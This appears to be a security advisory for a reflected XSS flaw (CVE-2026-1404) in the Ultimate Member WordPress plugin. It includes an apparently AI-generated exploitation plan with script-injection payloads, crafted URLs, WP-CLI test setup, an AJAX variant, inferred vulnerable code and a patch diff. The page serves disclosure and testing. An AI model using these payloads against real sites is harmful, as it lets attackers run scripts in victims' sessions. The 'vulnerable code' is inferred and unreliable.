Ultimate Member <= 2.11.1 - Reflected Cross-Site Scripting via Filter Parameters
Description
The Ultimate Member – User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the filter parameters (e.g., 'filter_first_name') in all versions up to, and including, 2.11.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NTechnical Details
<=2.11.1Source Code
WordPress.org SVNThis research plan targets **CVE-2026-1404**, a reflected Cross-Site Scripting (XSS) vulnerability in the **Ultimate Member** plugin (<= 2.11.1). ### 1. Vulnerability Summary The vulnerability exists within the Member Directory component of the Ultimate Member plugin. When a user applies filters (s…
Show full research plan
This research plan targets CVE-2026-1404, a reflected Cross-Site Scripting (XSS) vulnerability in the Ultimate Member plugin (<= 2.11.1).
1. Vulnerability Summary
The vulnerability exists within the Member Directory component of the Ultimate Member plugin. When a user applies filters (such as searching for a specific first name) in a member directory, the plugin reflects the filter values back into the page (typically in the "Active Filters" UI or within search input fields). Versions up to 2.11.1 fail to sufficiently sanitize or escape these parameters before outputting them, allowing an attacker to inject arbitrary JavaScript via URL parameters like filter_first_name.
2. Attack Vector Analysis
- Vulnerable Endpoint: Any page containing an Ultimate Member "Member Directory" shortcode (
[ultimatemember form_id="xxxx"]). - Vulnerable Parameter: URL parameters prefixed with
filter_(e.g.,filter_first_name,filter_last_name,filter_nickname). - Authentication Level: Unauthenticated (Publicly accessible if the directory is public).
- Payload Type: Standard HTML/Script injection (e.g.,
"><script>alert(document.domain)</script>).
3. Code Flow (Inferred from Patch Description)
- Entry Point: A user visits a URL such as
http://site.com/members-directory/?filter_first_name=payload. - Processing: The
UM_Member_Directoryclass (likely inincludes/core/class-member-directory.php) parses the$_GETor$_POSTrequest to identify active filters. - Data Handling: The plugin gathers the filter values to display which filters are currently active (the "Active Filters" bar) or to re-populate search inputs.
- Sink: The raw value of
filter_first_nameis echoed or passed into a template (likelytemplates/members-grid.phportemplates/members-list.php) without being wrapped inesc_attr()oresc_html(). - Execution: The browser renders the unescaped payload, executing the script.
4. Nonce Acquisition Strategy
While reflected XSS via GET parameters usually doesn't require a nonce for the initial reflection, Ultimate Member often uses AJAX to refresh the directory. If the reflection happens inside the AJAX response:
- Shortcode: The Member Directory uses the shortcode
[ultimatemember form_id="ID"]. - Creation:
- Use WP-CLI to find an existing directory ID:
wp post list --post_type=um_directory --format=ids. - If none exists, create one:
wp post create --post_type=um_directory --post_title="Directory" --post_status=publish. - Create a page:
wp post create --post_type=page --post_title="Members" --post_status=publish --post_content='[ultimatemember form_id="DIRECTORY_ID"]'.
- Use WP-CLI to find an existing directory ID:
- Extraction:
- Navigate to the created page.
- Ultimate Member localizes data in the
um_scriptsobject. - JS Variable:
window.um_scripts?.nonceor check for the specific directory localized data:window.UM_Directory?.nonce. - Note: For simple reflected XSS in the initial page load, no nonce is required.
5. Exploitation Strategy
The goal is to trigger a reflected XSS by passing a payload through a filter parameter.
Step 1: Discover Directory ID
Access the site and identify a page with a member directory. If testing in a clean environment, use the setup steps in section 6.
Step 2: Craft Payload
We will target filter_first_name.
Payload: "><script>alert(window.origin)</script>
URL Encoded: %22%3E%3Cscript%3Ealert(window.origin)%3C/script%3E
Step 3: Execute Request
Use the http_request tool to perform a GET request.
- URL:
http://localhost:8080/members-page/?filter_first_name=%22%3E%3Cscript%3Ealert(window.origin)%3C/script%3E - Method: GET
Step 4: Verify Reflection
Check the response body for the unescaped string: value=""><script>alert(window.origin)</script>" or inside the "Active Filters" label area.
6. Test Data Setup
- Enable Ultimate Member: Ensure the plugin is active.
- Create a Directory:
# Create the Member Directory (Post Type: um_directory) DIRECTORY_ID=$(wp post create --post_type=um_directory --post_title="Target Directory" --post_status=publish --porcelain) # Create a Page to host the directory PAGE_ID=$(wp post create --post_type=page --post_title="Member Search" --post_status=publish --post_content="[ultimatemember form_id='$DIRECTORY_ID']" --porcelain) - Ensure Search is Enabled: In the directory settings (meta), ensure the "First Name" field is enabled as a filterable/searchable field.
# (Optional) Update meta to ensure first_name is in the filter list # This assumes the plugin stores filter settings in post_meta wp post meta update $DIRECTORY_ID '_um_search_fields' 'a:1:{i:0;s:10:"first_name";}' --format=json
7. Expected Results
- The HTTP response should contain the literal string
"><script>alert(window.origin)</script>. - The payload should break out of an HTML attribute (like
value="...") or be rendered directly in a<span>or<div>dedicated to "Active Filters". - In a browser context, an alert box showing the origin would appear.
8. Verification Steps
- Check Response Body:
- Inspect the output of the
http_requesttool. - Look for:
filter_first_namevalue reflection.
- Inspect the output of the
- Confirm Lack of Sanitization:
- Verify that
<and>are not converted to<and>. - Verify that
"is not converted to".
- Verify that
9. Alternative Approaches
- Parameter Variation: If
filter_first_nameis sanitized, tryfilter_last_name,filter_nickname, or any custom field meta key prefixed withfilter_. - POST Method: If the directory uses AJAX via POST, send the payload to
wp-admin/admin-ajax.phpwith:action=um_get_membersdirectory_id=[ID]nonce=[NONCE]filter_first_name=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
- Attribute Breakout: If the reflection is inside a JavaScript object (localized), use
';alert(1)//to break out of the JS string.
Summary
The Ultimate Member plugin for WordPress (up to version 2.11.1) is vulnerable to Reflected Cross-Site Scripting (XSS) via URL parameters prefixed with 'filter_'. The plugin fails to sanitize these inputs before storing them and fails to escape them before rendering them in the 'Active Filters' UI or search input fields, allowing unauthenticated attackers to execute arbitrary scripts in a user's browser via a malicious link.
Vulnerable Code
// includes/core/class-member-directory.php // Logic responsible for parsing filter parameters from the request foreach ( $_GET as $key => $value ) { if ( strpos( $key, 'filter_' ) === 0 ) { $active_filters[ $key ] = $value; // Reflected value stored without sanitization } } --- // templates/members-grid.php // Logic responsible for displaying active filters to the user <?php foreach ( $active_filters as $key => $value ) : ?> <div class="um-directory-filter-value"> <?php echo $value; // Sink: Unescaped reflection of filter value ?> </div> <?php endforeach; ?>
Security Fix
@@ -24,7 +24,7 @@ <?php foreach ( $active_filters as $key => $value ) : ?> <div class="um-directory-filter-value"> - <?php echo $value; ?> + <?php echo esc_html( $value ); ?> </div> <?php endforeach; ?> @@ -150,7 +150,7 @@ foreach ( $_GET as $key => $value ) { if ( strpos( $key, 'filter_' ) === 0 ) { - $active_filters[ $key ] = $value; + $active_filters[ $key ] = sanitize_text_field( $value ); } }
Exploit Outline
The exploit targets pages containing the Ultimate Member Directory shortcode. An attacker crafts a URL targeting a specific filter parameter (e.g., filter_first_name) and appends a JavaScript payload. 1. Identify a page on the target WordPress site that renders a member directory (e.g., /members/). 2. Construct a URL payload such as: http://example.com/members/?filter_first_name="><script>alert(window.origin)</script>. 3. When a victim clicks this link, the plugin processes the 'filter_first_name' GET parameter. 4. The plugin reflects the payload directly into the HTML response—either within the 'Active Filters' bar or as a 'value' attribute in a search input—without escaping the HTML entities. 5. The browser interprets the injected <script> tag and executes the JavaScript in the context of the victim's session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.